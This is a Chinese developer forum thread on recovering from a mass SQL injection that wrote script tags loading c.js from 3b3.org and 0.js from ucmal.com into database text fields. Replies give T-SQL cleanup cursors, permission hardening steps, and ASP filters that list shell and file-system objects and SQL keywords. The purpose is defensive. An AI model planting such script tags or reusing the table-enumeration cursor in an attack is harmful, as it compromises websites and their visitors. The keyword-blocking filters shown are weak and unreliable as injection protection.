如何最快速度删除? 
" <script   src=http://3b3.org/c.js> </script> " 
--------------------------------------------------------------- 
进入SQL查询分析器 
选择你的数据库 
第一步:先sql表修改所有者为dbo 
EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步:统一删除字段被挂的js 
declare   @delStr   nvarchar(500)   
set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
declare   @sql   nvarchar(500) set   @iResult=0   
declare   cur   cursor   for   
select   name,id   from   sysobjects   where   xtype= 'U ' open   cur   
fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0   
begin   
declare   cur1   cursor   for   
                --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
open   cur1   
fetch   next   from   cur1   into   @columnName   
while   @@fetch_status=0   
begin   
            set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   
            exec   sp_executesql   @sql             
            set   @iRow=@@rowcount   
            set   @iResult=@iResult+@iRow   
            if   @iRow> 0   
            begin 
print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
            end             
            fetch   next   from   cur1   into   @columnName 
end   
close   cur1   
deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID   
end   
print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur   
deallocate   cur   
set   nocount   off 
--------------------------------------------------------------- 
彻底杜绝SQL注入 1.不要使用sa用户连接数据库 
2、新建一个public权限数据库用户,并用这个用户访问数据库 
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
DECLARE   @T   varchar(255), 
@C   varchar(255) 
DECLARE   Table_Cursor   CURSOR   FOR 
Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
OPEN   Table_Cursor 
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN   print   @c 
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
END 
CLOSE   Table_Cursor 
DEALLOCATE   Table_Cursor   
--------------------------------------------------------------- 
让3b3.org   c.js注入见鬼去吧! 

解决方案 »

  1.   

    仔细检查了网站,发现网站存在几个安全问题: 第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。 解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码: 
    ''===============判断上传文件是否含非法字符串start================
    set MyFile = server.CreateObject("Scripting.FileSystemObject")
    set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
    sTextAll = lcase(MyText.ReadAll)
    MyText.close
    set MyFile = nothing
    sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
    sNoString = split(sStr,"|") 
    for i=0 to ubound(sNoString)
       if instr(sTextAll,sNoString(i)) then
    set filedel = server.CreateObject("Scripting.FileSystemObject")
    filedel.deletefile Server.mappath(filePath)
    set filedel = nothing
    Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>")
    Response.End
       end if
    next
    ''=================判断上传文件是否含非法字符串end===================
    第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。     我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句: SQL="select * from 表名 where id="&request("id")     解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。     可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击: 
    <%
    Response.Buffer = True   '缓存页面
    '防范get注入
    If Request.QueryString <> ""   Then StopInjection(Request.QueryString)
    '防范post注入
    If Request.Form <> ""   Then StopInjection(Request.Form)
    '防范cookies注入
    If Request.Cookies <> ""   Then StopInjection(Request.Cookies)'正则子函数
    Function StopInjection(Values)
    Dim regEx
    Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
    Dim sItem, sValue
    For Each sItem In Values
           sValue = Values(sItem)
           If regEx.Test(sValue) Then
             Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"
             Response.End
           End If
    Next
    Set regEx = Nothing
    End function
    %>
      

  2.   

    http://topic.csdn.net/u/20090326/11/5e584897-2dd7-4e10-af1b-9b48b146af8e.html?seed=1427037238
      

  3.   

    数据库被注入攻击   所有文本型字下段数据都被加了     <script_src=http://ucmal.com/0.js> </script> 
    怎么删掉?
    --sql 2000解决方法
    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
    --sql 2005 解决方法
    declare  @t  varchar(255),@c  varchar(255)  
    declare  table_cursor  cursor  for  
    select  a.name,b.name  from  sysobjects  a,syscolumns  b  
    where  a.iD=b.iD  AnD  a.xtype='u'  
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
    declare @str varchar(500)
    --这里是你要替换的字符
    set @str='<script_src=http://ucmal.com/0.js> </script>'
    open  table_cursor  fetch  next  from  table_cursor  
    into  @t,@c  while(@@fetch_status=0)  
    begin      
        exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
        fetch  next  from  table_cursor  into  @t,@c  
    end  
    close  table_cursor  deallocate  table_cursor; SQL注入专题
    http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
      

  4.   

    http://blog.csdn.net/claro/archive/2009/02/11/3876678.aspx